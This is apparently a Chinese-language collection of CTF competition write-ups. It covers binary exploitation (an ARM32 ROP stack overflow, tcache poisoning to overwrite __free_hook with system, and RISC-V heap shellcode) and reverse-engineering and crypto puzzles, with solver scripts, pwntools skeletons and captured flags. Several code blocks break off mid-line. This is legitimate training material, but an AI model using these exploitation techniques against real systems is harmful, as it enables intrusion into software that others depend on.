arm32简单栈溢出,就是找gadget花了点时间。搜索不到可以设置r0的gadget。
观察到0x104d8
是程序已有的printf逻辑
.text:000104D0 LDR R3, =(aInput - 0x104DC) ; "input: "
.text:000104D4 ADD R3, PC, R3 ; "input: "
.text:000104D8 MOV R0, R3 ; format
.text:000104DC BL printf
.text:000104E0 SUB R3, R11, #-buf
.text:000104E4 MOV R2, #0x300 ; nbytes
.text:000104E8 MOV R1, R3 ; buf
.text:000104EC MOV R0, #0 ; fd
.text:000104F0 BL read
.text:000104F4 MOV R3, #0
.text:000104F8 MOV R0, R3
.text:000104FC SUB SP, R11, #4
.text:00010500 POP {R11,PC}
这里printf是从r3获取参数的,然后我们可以搜到一条设置r3的gadget,0x10348:pop {r3, pc}。
将r3设置为got地址,然后跳到上面10
逻辑和上一题类似,但是不再有栈溢出,而是echo >
和 echo >>
功能存在越界,用echo >
的时候会把off成员变量设置成写入内容大小,用echo >>
的时候没有检查off+size是否越界,可以直接进行栈溢出。libc是2.27的版本,可以直接堆溢出进行tcache posion改写freehook为system。
注意这里没有aslr,用户态泄露的libc地址是0x4000xxxxxx
开头的,前面0x4000泄露不出来,可以根据本地用户态启动确定,然后可以直接写死libc地址进行替换freehook操作。
#flag{iNMLBaSM5KTAIIJLO0MV6XxiR8}
from pwn import *
import re
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
context.log_level = "debug"
env = {'LD_PRELOAD': ''}
if len(sys.argv) == 1:
p = process('')
elif len(sys.argv) == 3:
p = remote(sys.argv[1], sys.argv[2])
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims,
riscv64的题目,用ghidra可以直接反编译,漏洞点在echo的函数里面:创建文件满了0x30个,再次echo会读入0x200个字节,但栈上空间只有0x100左右,造成栈溢出。分配chunk的时候也没有初始化操作,所以重新分配tcache的chunk的时候可以泄露heap上面的指针。
花了很多时间在搞系统态模拟的环境,最后搞了fedara的riscv环境,调试起来比较顺手,在系统态模拟环境下是有nx的,还浪费了很多时间想rop。结果试一下打远程,根本就是用户态启动,没有nx没有aslr。把shellcode写到堆上面溢出盖返回地址直接就能跳上去了。
#flag{bm08elDkEvWnZjJZOwPEkr1Vfk}
from pwn import *
import re
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
context.log_level = "debug"
env = {'LD_PRELOAD': ''}
if len(sys.argv) == 1:
p = process('')
elif len(sys.argv) == 3:
p = remote(sys.argv[1], sys.argv[2])
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :
先用修改版的base64算法decode输入,然后以decode_input为操作步骤,重排九宫...
初始
4 0 3
7 2 6
8 1 5
完成
1 2 3
4 5 6
7 8 0
操作方法
'2'将0同上交换
'8'将0同下交换
'6'将0同左交换
'4'将0同右交换
# astar 算法
#coding=utf-8
from __future__ import print_function
import copy
def showMap(array2d):
for x in xrange(0, 3):
for y in xrange(0, 3):
print(array2d[x][y], end='')
print(" ")
print("--------")
return
def move(array2d, srcX, srcY, drcX, drcY):
temp = array2d[srcX][srcY]
array2d[srcX][srcY] = array2d[drcX][drcY]
array2d[drcX][drcY] = temp
return array2d
def getStatus(array2d):
y = 0
for i in xrange(0, 3):
for j in xrange(0, 3):
for m in xrange(0, i+1):
for n in xrange(0, j):
if array2d[i][j] > array2d[m][n]:
y += 1
return y
class Node:
def __init__(self, array2d, g = 0, h = 0):
self.array2d = array2d
self.father
程序需要输入key和flag,key & 0xff作为参数传递进srand,flag按字节异或一连串值,然后调用42*42次rand函数,rand函数返回的值+1 & 0xff作为系数,最后可以化简为42*42的矩阵乘以异或后的flag,求出的结果如果和output.txt的值一样就为正确解。
方法:爆破255次随机数种子,获取42*42次rand返回的值,然后用z3-solver求解,最终得到的种子是82。
// get 42 * 42 rand()
// gcc exp.c -o exp
#include <stdlib.h>
#include <stdio.h>
int main(){
// if brute i = 1; i < 256; i++
for(unsigned int i=82;i<83;i++){
srand(i);
printf("%d -> ", i);
for(int j=0;j<42*42;j++){
printf("%d, ", (rand() + 1)&0xff);
}
printf("\n");
}
}
from z3 import *
import subprocess
from subprocess import Popen
output = [775008, 736965, 579982, 832102, 739711, 689694, 621261, 786007, 687380, 870278, 671072, 705346, 695702, 726075, 693811, 726115, 797388, 839688, 798029, 773858, 732406, 632966, 740936, 775656, 710214, 858672, 686622, 608896, 815068, 521720, 693197, 560581, 885102, 635306, 732285, 770318, 702253, 632762, 839978, 813599, 651986, 87570
re文件偏移0x375e开始为一大段base64 encode后的字串,decode得到的dll文件开头几个字节为C7 1C 71 C7 1C 71,修改成4D 5A就能拖进ida分析。
给了密钥和密文,AES ECB解密即可得到flag。
from Crypto.Cipher import AES
s = 0xE799D643453FF4B5.to_bytes(8, 'little') + 0x46C42084AA2A1B56.to_bytes(8, 'little')
key = 0x16157E2B.to_bytes(4, 'little') + 0xA6D2AE28.to_bytes(4, 'little') + 0x8815F7AB.to_bytes(4, 'little') + 0x3C4FCF09.to_bytes(4, 'little')
helper = AES.new(key, AES.MODE_ECB)
print(helper.decrypt(s))
b'flag{youcangues}'
flag{youcangues}
https://bitbucket.org/renorobert/core2elf/src/master/,用core2elf从crash还原elf文件。elf给了8个md5,每个md5都是4个字符的hash值,最后爆破出这8*4个字符再异或0x17就为flag。
#coding=utf-8
from hashlib import md5
import string
cmp = ["bf2b36d56f5757c13cad80494b385e78",
"3fe9dbae5dc4408350500affa20074aa",
"1fa6770eca6b57e47a042ffe52eca8ff",
"1aad6b7da1122b4b5a53bf5a4d3b11b0",
"e7b77d9e0ab19fc9ea98154f994fccc5",
"75d9128cfeb61b8949664f6a067f6469",
"d8b0a52c64d6075017b7346140550c46",
"306529c7cdedfb06e27b39f7b2babf4d"]
dic = string.ascii_letters + string.digits
dic = list(dic.encode())
for a in dic:
for b in dic:
for c in dic:
for d in dic:
s = [a, b, c, d]
s = [_ ^ 0x17 for _ in s]
res = md5(bytes(s)).hexdigest()
if res in cmp:
print(res, bytes(s))
'''
结果
1aad6b7da1122b4b5a53bf5a4d3b11b0 b'v\x7fut'
d8b0a52c64d6075017b7346140550c46 b's.v|'
1fa6770eca6b57e47a042ffe52eca8ff b'~{c|'
75d9128cfe
首先穷举通过pow,然后上传elf至服务器运行,elf成功爆破并输出后四位密钥服务器就打印flag
// elf
// aarch64-linux-gnu-gcc exp.c -I /openssl_path/openssl-aarch64/install/include/ -L /openssl_path/openssl-aarch64/install/lib -lssl -lcrypto -o exparm
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "openssl/aes.h"
#define BLOCK_SIZE 16
void print_data(const char *tittle, const void* data, int len);
int main( )
{
unsigned char dic[62] = {97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57};
unsigned char aes_key[16] = {0};
unsigned char cmp[32] = {0};
unsigned char cmp_unhex[16] = {0};
unsigned char input[44] = {0};
scanf("%s", &input);
for(int i=0;i<12;i++){
aes_key[i] = input[i];
}
for(int i=0;i<32;i++){
dump出3个迷宫,数字3为起点,数字4为终点
# coding=utf-8
[1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
[1, 1, 1, 1, 1, 0, 3, 0, 1, 0, 0, 0, 0, 0, 0]
[1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0]
[1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0]
[1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0]
[1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0]
[1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0]
[1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0]
[1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0]
[1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0]
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
's'*7 + 'd'*7 + 's'
----------------------
[1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
[1, 1, 0, 3, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0]
[1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0]
[1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0]
[1,